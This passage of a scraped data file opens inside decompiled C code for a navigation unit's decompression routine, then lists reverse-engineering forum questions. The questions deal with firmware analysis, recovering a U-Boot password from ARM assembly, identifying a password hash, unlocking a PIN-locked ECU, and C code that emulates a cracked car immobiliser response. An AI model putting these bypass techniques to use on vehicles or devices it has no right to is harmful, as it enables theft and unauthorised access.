+        v23 = cpr_tclDecompressAlgorithm::u32GetNextBits((cpr_tclDecompressAlgorithm *)a1, v17);
+        v24 = *(unsigned __int8 *)(v22 + 17);
+        v25 = v23 | v16;
+        v26 = (v23 | v16) & ~(-1 << v24);
+        v27 = *(_BYTE **)(a1 + 12);
+        v28 = (unsigned __int16)(v26 + *(_WORD *)(v22 + 2));
+        v29 = *(_WORD *)(v22 + 6);
+        v30 = *(_DWORD *)(a1 + 44);
+        v31 = *(unsigned __int8 *)(v22 + 18);
+        if ( v13 < (unsigned int)&v27[v28] )
+        {
+          if ( v11 != 1 )
+          {
+            v32 = trc_szGetFileName(
+                    "/opt/bosch/DI_SWNAVI_13.2C5P10/di_swnavi/components/dapi/devicemanager/devicehandler/compression/cpr"
+                    "_decompression.cpp");
+            trc_tclGlobalTrace::vTraceLevel1(
+              21504,
+              253,
+              v32,
+              "CPR Overwrite Copy n=%d wpos=0x%x epos=0x%x",
+              v28,
+              *(_DWORD *)(a1 + 12),
+              v13);
+LABEL_24:
+            result = 0;
+            goto LABEL_35;
+          }
+          v28 = (unsigned __int16)(v13 - (_WORD)v27);
+        }
+        v33 = v25 >> v24;
+        v34 = -(unsigned __int16)(v29 + (((v25 >> v24) & ~(-1 << v31)) << v30));
+        v35 = &v27[-(unsigned __int16)(v29 + (((v25 >> v24) & ~(-1 << v31)) << v30))];
+        if ( v28 == 2 )
+        {
+          *v27 = v27[v34];
+          *(_BYTE *)(*(_DWORD *)(a1 + 12) + 1) = v35[1];
+        }
+        else
+        {
+          memcpy(v27, v35, v28);
+        }
+        v17 = v31 + v24;
+        *(_DWORD *)(a1 + 12) += v28;
+        v16 = v33 >> v31;
+      }
+      if ( v20 == 2 )
+      {
+        v36 = cpr_tclDecompressAlgorithm::u32GetNextBits((cpr_tclDecompressAlgorithm *)a1, v17);
+        v17 = *(unsigned __int8 *)(v22 + 17);
+        v37 = v36 | v16;
+        v38 = (v36 | v16) & ~(-1 << v17);
+        v39 = *(void **)(a1 + 12);
+        v40 = (unsigned __int16)(v38 + *(_WORD *)(v22 + 2));
+        if ( v13 < (unsigned int)v39 + v40 )
+        {
+          if ( v11 != 1 )
+          {
+            v41 = trc_szGetFileName(
+                    "/opt/bosch/DI_SWNAVI_13.2C5P10/di_swnavi/components/dapi/devicemanager/devicehandler/compression/cpr"
+                    "_decompression.cpp");
+            trc_tclGlobalTrace::vTraceLevel1(
+              21504,
+              291,
+              v41,
+              "CPR Overwrite Lit n=%d wpos=0x%x epos=0x%x",
+              v40,
+              *(_DWORD *)(a1 + 12),
+              v13);
+            goto LABEL_24;
+          }
+          v40 = (unsigned __int16)(v13 - (_WORD)v39);
+        }
+        v16 = v37 >> v17;
+        memcpy(v39, *(const void **)(a1 + 8), v40);
+        v43 = *(_DWORD *)(a1 + 12) + v40;
+        v44 = *(_DWORD *)(a1 + 8) + v40;
+      }
+      else
+      {
+        v45 = *(_BYTE **)(a1 + 12);
+        if ( (_BYTE *)v13 == v45 )
+        {
+          v46 = trc_szGetFileName(
+                  "/opt/bosch/DI_SWNAVI_13.2C5P10/di_swnavi/components/dapi/devicemanager/devicehandler/compression/cpr_d"
+                  "ecompression.cpp");
+          trc_tclGlobalTrace::vTraceLevel1(
+            21504,
+            306,
+            v46,
+            "CPR Overwrite Lit1 n=1 wpos=0x%x epos=0x%x",
+            *(_DWORD *)(a1 + 12),
+            v13);
+          goto LABEL_24;
+        }
+        *v45 = **(_BYTE **)(a1 + 8);
+        v43 = *(_DWORD *)(a1 + 12) + 1;
+        v44 = *(_DWORD *)(a1 + 8) + 1;
+      }
+      *(_DWORD *)(a1 + 12) = v43;
+      *(_DWORD *)(a1 + 8) = v44;
+    }
+  }
+  if ( a6 == 1 )
+  {
+    memcpy(v12, *(const void **)(a1 + 4), v10);
+    result = 1;
+    *(_DWORD *)(a1 + 12) += v10;
+  }
+  else
+  {
+LABEL_34:
+    result = 1;
+  }
+LABEL_35:
+  v47 = *(_DWORD *)(a1 + 48);
+  v48 = v47 != 0;
+  if ( result != 1 )
+    v48 = 0;
+  if ( v48 )
+  {
+    memset(*(void **)(a1 + 12), 0, *(_DWORD *)(a1 + 48));
+    result = 1;
+  }
+  return result;
+}
+
+" +['radare2']," Title: Change return value of a boolean function in arm libraryBody: I have an android library (arm cpu) that have a function named GetEisLinkWithDfr() that have a single line that returns boolean value of "true", and I want it to return a value of "false". +I included isAWBEnabled() witch returns boolean value of "true" too, and isFlashAWBv2Enabled() witch returns boolean value of "false" as a show case. +I have attached the output when I run iE command and izz command in radare2. +nth paddr vaddr len size section type string +――――――――――――――――――――――――― +3462 0x000d45a4 0x000d85a4 GLOBAL FUNC 4 GetEisLinkWithDfr() +3461 0x000d45a4 0x000d85a4 GLOBAL FUNC 4 int isAWBEnabled<(NSIspTuning::ESensorDev_T)2>() +883 0x000d45a8 0x000d85a8 GLOBAL FUNC 4 isFlashAWBv2Enabled() +nth paddr vaddr len size section type string +―――――――――――――――――――――――――――――― +6158 0x0007a4c1 0x0007e4c1 22 23 .dynstr ascii _Z17GetEisLinkWithDfrv +105 0x00019951 0x0001d951 52 53 .dynstr ascii _Z12isAWBEnabledILN11NSIspTuning12ESensorDev_TE2EEiv +141 0x00019f6f 0x0001df6f 24 25 .dynstr ascii _Z19isFlashAWBv2Enabledv +" +['pintool']," Title: PIN tool doesn't write to stdout or sterr on windowsBody: I'm writing a pin tool (Windows, x64, PIN 3.18), and it starts like this: +
int main(int argc, char *argv[]) {
+    std::cerr << "Initializing..." << std::endl;
+
+This is how I'm calling the tool: +C:\pin\intel64\bin\pin -t C:\pin\source\tools\MyPinTool\x64\Release\MyPinTool.dll -- mspaint.exe +Nothing is ever printed to stderr. fprintf(stderr, ...) also prints nothing. stdout seems to behave in the same way. +The tool itself works, and if I instead fprintf to a file, that works as well. +It doesn't seem to me like I'm deviating from the docs examples. +I also searched in the docs for stuff related to output with no luck. +Why is nothing getting printed? +" +"['ida', 'c++', 'debuggers', 'windbg']"," Title: Can't debug process with IDA Windbg debugger: ""Could not initialize WinDbg engine with error: %1 is not a valid Win32 application""Body: I tried to debug a C++ that I created but I am getting the following error:
+ +I have this C:\Program Files (x86)\Windows Kits\10\Debuggers\x64 in the PATH environment variable (based on this answer), but I still have the above error. +Any idea what be the reason? +My WinDBG is not the latest but pretty updated. +" +"['ida', 'disassembly', 'arm']"," Title: What does this ARM assembly code do?Body: I'm trying to figure out the password that is used to access the U-Boot shell, as mentoined in my previous question. +I'm having trouble understanding how exactly the code works. +Here is an image of the code from IDA. The part in the yellow box (loc_8080FF28) is what I don't understand. What is it doing to the user input? Also I would like to understand what the subroutine in the orange box (sub_8081ECE4) does with the user input. I have added a few comments that I thought are relevant. +Here is the code in text form: +
loc_8080FF10
+ADD R4, R4, #1
+LDR R0, =aDstInputPasswd ; "\n%dst input Passwd:"
+MOV R5, #0
+MOV R1, R4      ; R4 = num of tries so far
+BL  printf
+B   loc_8080FF58
+
+loc_8080FF28
+MOV R0, R5
+MOV R1, #0x3F
+BL  __aeabi_uidivmod
+ADD R2, SP, #0x58+var_18
+ADD R5, R5, #1
+ADD R7, R1, R7
+ADD R3, R2, R1
+LDRB    R2, [R7,#0x14]
+RSB R10, R2, R10
+MOV R2, #0
+STRB    R10, [R3,#-0x40]
+STRB    R2, [R3,#-0x3F]
+
+loc_8080FF58
+BL  getc
+LDR R7, =asc_8082E770 ; "\b \b"
+UXTB    R10, R0
+CMP R10, #0xD   ; check if enter pressed
+BNE loc_8080FF28
+MOV R0, SP
+ADD R1, R7, #0x54
+MOV R2, #7
+BL  sub_8081ECE4
+CMP R0, #0
+BNE loc_8080FF94
+CMP R5, #7
+MOVEQ   R5, #1
+MOVEQ   R4, R0
+BEQ loc_8080FFC0
+
+loc_8080FF94
+CMP R4, #3
+BNE loc_8080FF10    ; fail after 3 tries
+MOV R5, #0
+MOV R4, R5
+B   loc_8080FFC0
+
+loc_8080FFA8
+MOV R0, #0x2710
+ADD R7, R7, #1
+BL  sub_8081F1D8
+CMP R7, #0x64
+BNE loc_8080FEEC
+SUB R4, R4, #1
+
+loc_8080FFC0        ; "\b\b\b%2d "
+LDR R0, =a2d
+MOV R1, R4
+BL  printf
+; end of check passwd
+
+sub_8081ECE4
+STMFD   SP!, {R4,LR}
+MOV R3, #0
+B   loc_8081ED18
+
+loc_8081ECF0
+LDRB    R4, [R0,R3]
+LDRB    R12, [R1,R3]
+RSB R12, R12, R4
+UXTB    R12, R12
+CMP R12, #0
+BNE loc_8081ED24
+CMP R4, #0
+ADD R3, R3, #1
+BEQ loc_8081ED24
+SUB R2, R2, #1
+
+loc_8081ED18
+CMP R2, #0
+BNE loc_8081ECF0
+MOV R12, R2
+
+loc_8081ED24
+SXTB    R0, R12
+LDMFD   SP!, {R4,PC}
+; End of function sub_8081ECE4
+
+" +"['deobfuscation', 'hash-functions']"," Title: Determining a password-hashing function knowing plaintext + outputBody: I have a password that has been stored and I'd like to figure out how it's been 'transformed' to be stored in my database. +The plaintext password is: +k4oK203$ +And the password as it is stored 'crypted' in my database is: +6xqmRr0QNUrc0uvwGchWqA== +How would I go about figuring out what transformation (base64? sha1? md5? etc.) that were used in order to get the plain text password in to the database value? +" +"['firmware', 'firmware-analysis', 'binwalk']"," Title: Harman Kardon firmware reverse engineeringBody: First of all, I'm very new to reverse engineering, but I know about hex, binary, opcodes, et cetera. +I'm trying to reverse engineer a Harman Kardon firmware file, because I think there are some API calls hidden in the firmware that may be useful for home automation. +For some reason, binwalk only says there is a XML file in the firmware (but doesn't extract it). And there seems to be some MIPS16e instructions in it, which I don't know how to extract. +binwalk -AB output: +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+504842        0x7B40A         MIPS16e instructions, function prologue
+777848        0xBDE78         XML document, version: "1.0"
+
+I also checked the file for other texts (which are in it). Therefore, I think it isn't encrypted. +The "XML document" is only this: <?xml version="1.0" encoding="UTF-8"?><harman><avr><common><status><name>. +After that, only other random texts, which can be seen in the menu of the device, are showed. +I don't know if it is okay to dump the firmware here, so I won't unless someone asks for it. +How to proceed in reverse engineering this? +" +"['linux', 'dynamic-linking']"," Title: unix executable Error: Reading 0x1b50 bytes extends past end of file for string tableBody: info on the file it is called ld it is a command for linking elfs called link editor. Does Error: Reading 0x1b50 bytes extends past end of file for string table mean I am missing some kind of offset? readelf says: readelf: Error: no .dynamic section in the dynamic segment strange here is all the readelf info: +
~/Desktop/ld$ eu-readelf --all ./ld
+ELF Header:
+  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
+  Class:                             ELF32
+  Data:                              2's complement, big endian
+  Ident Version:                     1 (current)
+  OS/ABI:                            UNIX - System V
+  ABI Version:                       0
+  Type:                              EXEC (Executable file)
+  Machine:                           MIPS
+  Version:                           1 (current)
+  Entry point address:               0x10002350
+  Start of program headers:          52 (bytes into file)
+  Start of section headers:          91924 (bytes into file)
+  Flags:                             0x20000024
+  Size of this header:               52 (bytes)
+  Size of program header entries:    32 (bytes)
+  Number of program headers entries: 7
+  Size of section header entries:    40 (bytes)
+  Number of section headers entries: 23
+  Section header string table index: 22
+
+Section Headers:
+[Nr] Name                 Type         Addr     Off    Size   ES Flags Lk Inf Al
+[ 0] <corrupt>            <unknown>: 1090519040 001cffff ffff0100 4fcffff 1090519040       -1 -65216 155197191
+[ 1] <corrupt>            <unknown>: 1638399 04fcffff ffffffff ffff0140 454561792 NOE   155197191 1090519040 1048576
+[ 2] <corrupt>            <unknown>: 47451165 696e7465 7270002e 4d495053 1734962790 AXS   779055220 1768910451 3043941
+[ 3] <corrupt>            SHT_LOPROC+96e616d 6c69626c 69737400 2e64796e 2037281657 AXSO  1937011200 778592627 1744842340
+[ 4] <corrupt>            <unknown>: 1230000942 6962002e 6d73796d 2e636f 779318389 XSINTCO 1852206185 1668546606 1296650323
+[ 5] <corrupt>            SHT_LOPROC+4657874 6974002e 726f6461 7461002e 1651733248 AXSINC 1684108385 3041135 1946168947
+[ 6] <corrupt>            SHT_LOOS+1746100 002e6465 6275675f 6c696e65 1634559347 WAMSING 3040357 1651861343 1886741102
+[ 7] <corrupt>            SHT_LOOS+275675f 6576002e 64656275 675f696e 1634559232 AMSIGO 1718550574 1684365941 1734305394
+[ 8] <corrupt>            SHT_LOPROC+5675f77 616d6573 2e6465 6275675f 1700951399 AXSINGCO 1718972003 1851878757 1929391716
+[ 9] <corrupt>            SHT_LOOS+e676573 6d6d656e 74002e4d 4950532e 1296650323 WAXSING 1768846437 1919312227 1702035502
+[10] <corrupt>            SHT_LOOS+e74732e 002e4d49 50532e65 76656e74 778268526 XMSICO 1932421486 1769209902 1296650323
+[11] <corrupt>            <unknown>: 779251556 2e4d4950 532e636f 6e74656e 1920229730 NO    1949197409 1952514094 1936225140
+[12] <corrupt>            NULL         00000000 000000 000000  0        0   0  0
+[13] <corrupt>            <unknown>: 256 00000210 011400 011400 1024 N     5376   0  0
+[14] <corrupt>            <unknown>: 2416 00000210 013000 013000 2048 NTC   32768   0  0
+[15] <corrupt>            <unknown>: 6000 00000210 01b000 01b000 1024 GT    6144   0  0
+[16] <corrupt>            <unknown>: 8192 00000210 01c800 01c800 1024 GT    73728 1536  0
+[17] <corrupt>            <unknown>: 10608 00000210 02e800 02e800 1024       5120 1536 256
+[18] <corrupt>            <unknown>: 12800 00000210 02fc00 02fc00 1024 NG    453376   0  0
+[19] <corrupt>            <unknown>: 14848 00000210 09e800 09e800 1024 NT    431104 2048  0
+[20] <corrupt>            <unknown>: 16384 00000210 107c00 107c00  4 NGC   854576   6 16
+[21] <corrupt>            <unknown>: 72 00000002 10001aac 001aac  1 SO    163   8  5
+[22] <corrupt>            <unknown>: 85 00000002 10001b50 001b50  4 WO    1304   6  0
+
+Program Headers:
+  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
+  PHDR           0x000034 0x10000034 0x10000034 0x0000e0 0x0000e0 R   0x4
+  INTERP         0x000114 0x10000114 0x10000114 0x000015 0x000015 R   0x4
+  LOPROC+2       0x000130 0x10000130 0x10000130 0x000080 0x000080 R   0x8
+  LOPROC+0       0x0001b0 0x100001b0 0x100001b0 0x000018 0x000018 R   0x4
+  DYNAMIC        0x0001c8 0x100001c8 0x100001c8 0x000120 0x000120 R   0x4
+  LOAD           0x000000 0x10000000 0x10000000 0x012cd8 0x012cd8 R E 0x10000
+  LOAD           0x014000 0x10014000 0x10014000 0x000d0a 0x4300000c     0x6000040
+
+ Section to Segment mapping:
+  Segment Sections...
+   00     
+   01     
+   02     
+   03     
+   04     
+   05     
+   06     
+b@b:~/Desktop/ld$ readelf -h ./ld
+ELF Header:
+  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
+  Class:                             ELF32
+  Data:                              2's complement, big endian
+  Version:                           1 (current)
+  OS/ABI:                            UNIX - System V
+  ABI Version:                       0
+  Type:                              EXEC (Executable file)
+  Machine:                           MIPS R3000
+  Version:                           0x1
+  Entry point address:               0x10002350
+  Start of program headers:          52 (bytes into file)
+  Start of section headers:          91924 (bytes into file)
+  Flags:                             0x20000024, cpic, abi2, mips3
+  Size of this header:               52 (bytes)
+  Size of program headers:           32 (bytes)
+  Number of program headers:         7
+  Size of section headers:           40 (bytes)
+  Number of section headers:         23
+  Section header string table index: 22
+readelf: Error: Reading 0x1b50 bytes extends past end of file for string table
+readelf: Error: no .dynamic section in the dynamic segment
+
+Maybe readelf is the incorrect thing to use for this but ghidra also doesnt load much of anything so I need more info to load it as a raw binary. +its stripped to this sounds like fun: ./ld: ELF 32-bit MSB executable, MIPS, N32 MIPS-III version 1 (SYSV), dynamically linked, interpreter empty, stripped aka difficult +" +"['hex', 'protocol']"," Title: How to determine a type of binary serialization?Body: I'm trying to analyze the messages that the game sends to the server through WebSockets. I have a simple WebSockets proxy that stands in the middle and prints all messages to the console. +I noticed that every 5 seconds there is a ping-pong message, that looks like this: +Server: 00 00 00 +Client: 01 00 00 00 +And the messages with data itself look like this: +Client: +
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
+
+00000000  3E E6 DC 00 00 00 00 00 00 00 2F 08 DC 31 CB 00  >жЬ......./.Ь1Л.
+00000010  06 4C 6F 77 64 65 72 00 00 00 00 00 00 00 00 03  .Lowder.........
+00000020  00 90 42 47 CD 82 07 4B 14 B5 9D 4B 74 14 30 59  .ђBGН‚.K.µќKt.0Y
+00000030  C8 11 EA 68 73 40 C1 7E D6 63 69 6E 6F 6E 80 EC  И.кhs@Б~ЦcinonЂм
+00000040  9A                                               љ
+
+Server: +
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
+
+00000000  6F E6 DC 03 00 00 00 00 00 00 00 00 00 00 00 00  oжЬ.............
+00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
+00000020  00 00 00 00 00 07 49 6E 76 61 6C 69 64 00 00 00  ......Invalid...
+00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
+00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
+00000050  00 00 00 00 00 00 00 FF 00 00 00 00 00 00 00 00  .......я........
+00000060  00 00 00 1B 00 04 72 61 6E 6B 00 00 00 05 6D 61  ......rank....ma
+00000070  72 6B 73 00 00 00 03 65 6C 6F 03 40 92 C0 00 00  rks....elo.@’А..
+00000080  00 00 00 00 0B 68 69 73 63 6F 72 65 52 61 6E 6B  .....hiscoreRank
+00000090  02 00 00 04 B0 00 06 62 61 6E 6E 65 64 00 00 00  ....°..banned...
+000000A0  09 62 61 6E 45 78 70 69 72 65 02 00 00 00 00 00  .banExpire......
+000000B0  05 6D 75 74 65 64 00 00 00 0C 62 72 6F 6E 7A 65  .muted....bronze
+000000C0  54 6F 6B 65 6E 73 01 00 00 00 0C 73 69 6C 76 65  Tokens.....silve
+000000D0  72 54 6F 6B 65 6E 73 01 00 00 00 0A 67 6F 6C 64  rTokens.....gold
+000000E0  54 6F 6B 65 6E 73 01 00 00 00 0D 68 77 65 65 6E  Tokens.....hween
+000000F0  31 37 54 6F 6B 65 6E 73 01 00 00 00 06 62 61 6E  17Tokens.....ban
+00000100  6E 65 72 00 00 00 0C 6F 6E 6C 69 6E 65 53 74 61  ner....onlineSta
+00000110  74 75 73 00 03 00 05 6C 65 76 65 6C 02 00 00 00  tus....level....
+00000120  00 00 0A 65 78 70 65 72 69 65 6E 63 65 03 00 00  ...experience...
+00000130  00 00 00 00 00 00 00 08 70 72 65 73 74 69 67 65  ........prestige
+00000140  00 00 00 0A 72 65 70 75 74 61 74 69 6F 6E 02 00  ....reputation..
+00000150  00 00 00 00 0D 64 61 69 6C 79 50 6F 73 69 74 69  .....dailyPositi
+00000160  6F 6E 02 00 00 00 00 00 0B 65 6C 6F 50 6F 73 69  on.......eloPosi
+00000170  74 69 6F 6E 02 00 00 00 00 00 12 72 65 70 75 74  tion.......reput
+00000180  61 74 69 6F 6E 50 6F 73 69 74 69 6F 6E 02 00 00  ationPosition...
+00000190  00 00 00 07 64 61 69 6C 79 58 50 02 00 00 00 00  ....dailyXP.....
+000001A0  00 09 75 6E 73 70 65 6E 74 58 50 02 00 00 00 00  ..unspentXP.....
+000001B0  00 0B 77 65 72 65 77 6F 6C 66 44 4C 43 00 00 00  ..werewolfDLC...
+000001C0  0A 76 61 6D 70 69 72 65 44 4C 43 00 00 00 09 73  .vampireDLC....s
+000001D0  70 69 64 65 72 44 4C 43 00 00 00 12 77 69 6E 4F  piderDLC....winO
+000001E0  66 54 68 65 44 61 79 43 6C 61 69 6D 65 64 00 00  fTheDayClaimed..
+000001F0  00 0A 64 6F 64 67 65 54 69 6D 65 72 03 00 00 00  ..dodgeTimer....
+00000200  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01  ................
+00000210  92 B0 51 DB C6 C4 42 75 BE 7F 61 5F 3F A4 A0 4B  ’°QЫЖДBuѕ.a_?¤ K
+00000220  00 06 00 01 00 04 00 08 00 0C 00 14 00 32 00 00  .............2..
+00000230  01 79 20 13 34 00                                .y .4.
+
+I have initially thought that this was a protobuf or BSON, but I didn't have any luck trying to decode these messages, though I don't have any experience with protobuf. +The client is written in C++ and is using the WebSocket++ library. +How to analyze this sort of binary protocol? How can I tell how was the message encoded? +" +"['c++', 'c', 'encryption']"," Title: How to create an algorithm in C...(or C# or C++, basically in ""a programming language"")Body: After a LOT of sending challenges and recording the responses I've 'broken' the "encryption" in my car's immobiliser...the reason for doing it is so I can use the engine and transmission in a project car, keeping the HS canbus - for the ECM to TCM comms, but removing the MS canbus - and all modules associated with it...including the body control module which handles the immobiliser functionality in the stock car. +So, "encryption" - it's basically a substitution cipher with a bunch of modifiers. The format is a 32-bit challenge, and 32-bit response - formatted into 4 bytes and 4 bytes. +I've currently coded it in C (for arduino) using arrays for the responses and a bunch of logic and it's working - however there's got to be a better way...right? +I'm a mechanic, not a programmer, and definitely not a mathematician...I just don't have the knowledge (or IQ XD) to make the jump from what I've done so far, to coding a functioning mathematical model/algorithm to do the same job. +As a couple of examples of the logic for the modifiers it's things like if challenge byte 2 >= 0xEC then increment the response by 1, or if bit 2 of challenge byte 3 >= 0x14 then do something else to the appropriate response etc. +But honestly...would love to reduce my 600 lines of code to 50! +I can post up as many C/R pairs as necessary to get some help here and post the flow chart of logic too. +Just hoping for a white knight right now! +Edited to add coded block and other info... +
void CalcResp()
+
+  //Calculate response   
+
+{               
+
+  uint32_t  ResponsePreXOR = 0x00000000;
+  uint32_t  ResponsePostXOR;
+  uint8_t   ChalByte[4];
+  uint8_t   RawRespByte[4];
+  uint8_t   XORRespByte[4];
+  CAN_FRAME ChalFrame;
+  CAN_FRAME RespFrame;
+
+  Can0.watchFor(0x00040020);
+
+  if (Can0.available() > 0)
+    {
+      Can0.read(ChalFrame);
+
+  // Split the Challenge into raw bytes
+  
+  ChalByte[0] = ChalFrame.data.byte[0];
+  ChalByte[1] = ChalFrame.data.byte[1];
+  ChalByte[2] = ChalFrame.data.byte[2];
+  ChalByte[3] = ChalFrame.data.byte[3];
+
+
+  // if Challenge Byte 3 bit 1 is set
+
+  if (ChalByte[3]&0x02)
+  {
+    if (ChalByte[3]>=0x16)
+      {
+        RawRespByte[3] = TableB2A[(ChalByte[2]+1)&0xFF];
+      }
+    else
+      {
+        RawRespByte[3] = TableB2A[ChalByte[2]];
+      }
+      
+  RawRespByte[2] = TableB3[ChalByte[3]];
+  RawRespByte[1] = TableB1A[ChalByte[1]];
+
+    if (ChalByte[1]>=0xEC)
+      {
+        RawRespByte[0] = TableB0A[(ChalByte[0]+1)&0xFF];
+      }
+      else
+      {
+        RawRespByte[0] = TableB0A[ChalByte[0]];
+      }
+
+  }
+  // if Challenge Byte 3 bit 1 is not set
+
+  else
+
+  // Build Response Byte 0
+  {;
+      RawRespByte[3] = TableB3[ChalByte[3]];
+      
+  // Build Response Byte 2
+        if (RawRespByte[3]>=0x14)
+          {
+            RawRespByte[2] = TableB2N[(ChalByte[2]+1)&0xFF];
+          }
+         else
+          {
+            RawRespByte[2] = TableB2N[ChalByte[2]];
+          }
+
+  // if Challenge byte 1 is above or equal to 0xEC
+  // Build Response Byte 1
+
+        if (ChalByte[1]>=0xEC) 
+          {
+            if (ChalByte[0]&0x0F==0x0F)
+              { 
+                RawRespByte[1] = TableB016s[(ChalByte[0]/16)];
+              }
+            else
+              {
+              RawRespByte[1] = TableB0N[(ChalByte[0]+1)&0xFF];
+              }
+        if (ChalByte[1]<0xEC)
+          {
+            RawRespByte[1] = TableB0N[ChalByte[0]];
+          }
+        
+  //Build Response Byte 0 
+
+    RawRespByte[0] = TableB1N[ChalByte[1]];
+
+  }
+
+
+  //Construct the response out of the response bytes
+  
+  ResponsePreXOR = uint32_t (RawRespByte[0])<<24;
+  
+  ResponsePreXOR += uint32_t (RawRespByte[1])<<16;
+   
+  ResponsePreXOR += uint32_t (RawRespByte[2])<<8;
+  
+  ResponsePreXOR += uint32_t (RawRespByte[3]);
+
+The car's ECM is a Siemens SID 203 - the immo algo for this hasn't yet been broken I don't think...no-one produces an emulator for it. +I think the synchro is this code snippet from the ECM +
u8
+data_cs[8]={0xEC,0x68,0x27,0x65,0xEC,0x8E,0x14,0xE6};
+
+" +"['ida', 'disassembly', 'firmware']"," Title: Automotive engine management - reversing a PIN that has locked an MTX8 ECUBody: I'm after advice on how to identify a PIN that has been accidently entered and has locked an automotive ECU making it useless. The problem is resolvable by sending the computer back to the manufacturer and have it reset to default, there is no way that a user can do this, and the manufacturer charges about AU$200 including postage for the service. +The ECU in question is a Microtech MTX-8. It uses an HC11 microcontroller. The user interface is via a handset with 6 buttons and a 4 line character display. Now I didn't lock this computer, a friend had a perfectly running car and out of curiosity loaded a saved configuration that unfortunately had a PIN assigned. The unit was second hand. It is now a paper weight. The computer is ancient history these days so we're not interested in spending money on it by sending it back. For reasons of regaining function of the computer and also as an academic exercise I'm continuing to look into this. +I have a bit of background in HC11 but reversing someone else's complex code isn't something I've had anything to do with. What I've been able to work out so far is: +
    +
  1. I've pulled the processor from the mtx-8 computer and put it into a circuit I have hanging around from my Uni days. I am able to pull the firmware off the chip no problem.
  2. +
  3. I can decompile the s19 file with IDAPro and get the ASM.
  4. +
  5. I can read various text strings which all make sense given the purpose of the device, things like air temp, water temp, basically all the text fields that would be displayed on the handset.
  6. +
  7. I have a second mtx-8 that isn't locked and I can lock it, dump the firmware, compare it to the unlocked code from the same device.
  8. +
+I have performed dozens of tweaks to the settings on my second, unlocked mtx-8 and compared with Notepad++ without luck. The PIN is six digits so crunching through 999999 combinations isn't that appealing. It seems to live somewhere other than EEPROM of the processor and given that I think there is some type of external serial EEPROM in use it is a possibility that the PIN or it's hash is living there. +Looking at the memory used by the code, I think the processor is an HC11 MC68HC11E20. The device circuit board has the chip numbers scrubbed off unfortunately. The E20 has 20k of ROM program space from $D000 to $FFFF and from $9000 to $AFFF. I do know that the circuit board has some type of external memory in which the additional tune configs are stored - memcals - there are four slots for saved configs available and the user manual says that these are stored on the handset. There is an 8 pin IC in the hand controller but the numbers are scrubbed off. There are also numerous 8 pin ICs on the main computer board which may or may not also be external EEPROM. The device CONFIG register appears to indicate the the processor is in single chip mode which I think still makes sense if there is an external serial EEPROM involved. +I've just started having a look at HC11 simulators, THRSim11 seems most promising although I really didn't want to start analysing the the code just to find the PIN. I'm not interested in the engine tune which is hiding behind the PIN, I just want to identify this PIN. +So I guess I'm wondering if anyone has any suggestions, or might be curious about having a look at the ASM/S19? +Sorry for the long post! Thanks +" +['decompress']," Title: Find decompression algorithm based on known compression implementationBody: I have been trying to figure out how this compression algorithm works, so I can write a decompression tool for it. +The compressed data consists of the following layout: +
0x00 →  0x03 : uncompressed data size (4 bytes, e.g. 0x80)
+0x04 →  0x83 : multibyte table (named `_ptrArray`)
+0x84 → 0x103 : 0x80 first bytes of the uncompressed data
+the rest is the actual compressed data that I'm trying to figure out
+
+I'm having no luck understanding how the data is actually being compressed, and so far I'm unable to recover the original data from the compression output. +I'm not sure what I should do next, the attempts I made thus far have been failed. I would deeply appreciate any help or advice I can get in order to understand this compression mechanism, and write a decompression tool for it. +Here's the reference implementation to compress the data, and the sample I've been working on: +

Uncompressed data

+https://pastebin.com/6sQyFY30 +

Compressed data

+
80 00 00 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0C 00 0D 00 0E 00 0F 00 10 00 11 00 12 00 13 00 14 00 15 00 16 00 17 00 18 00 19 00 1A 00 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 2B 00 2C 00 75 00 76 00 77 00 78 00 79 00 7A 00 7B 00 7C 00 7D 00 7E 00 7F 00 80 00 81 00 82 00 83 00 84 00 85 00 86 00 87 00 88 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 93 37 A1 2B 8E 00 C0 37 00 0F 84 37 01 E0 FE AE 35 01 FE E0 84 36 00 0F B8 37 03 FF 7F 0F 03 83 39 05 80 E0 F0 F8 FC FE A1 3E 06 FE FE FC F8 F0 E0 80 83 34 02 03 0F 7F B9 36 82 00 06 3F 1F 0F 07 03 01 01 83 3F 02 00 00 80 80 00 00 C0 91 00 81 18 85 24 06 01 01 03 07 0F 1F 3F BE 33 8A 00 04 7F 7F 3F 3F 1F 80 00 00 0F 83 00 00 07 87 00 84 11 81 1C 04 3F 3F 7F 7F 7F CB 2F F7 00 00 E0 C1 00 B8 37 00 00 84 00 00 07 94 00 9D 1F 82 00 C0 37 B5 1F BD 00 00 03 84 37 01 F0 FE 92 1E 00 F0 85 37 02 C0 F8 FC 93 21 BD 00 02 3F 07 01 83 39 06 80 C0 E0 F0 F0 F0 F8 85 00 04 F0 F0 E0 C0 80 81 17 03 01 07 7F 0F 84 23 00 80 80 23 80 24 05 F8 F8 FC FC FE FE C9 3B 06 1F 0F 0F 07 03 03 01 81 00 00 00 82 00 81 09 06 03 03 07 0F 1F 3F 7F 84 23 03 7F 7F 3F 1F 81 26 00 07 80 26 83 23 09 00 80 80 C0 C0 E0 E0 F0 F0 F8 C5 3F A7 00 0D 7F 7F 3F 3F 1F 1F 0F 07 07 03 03 01 01 00 C3 2C 00 FE 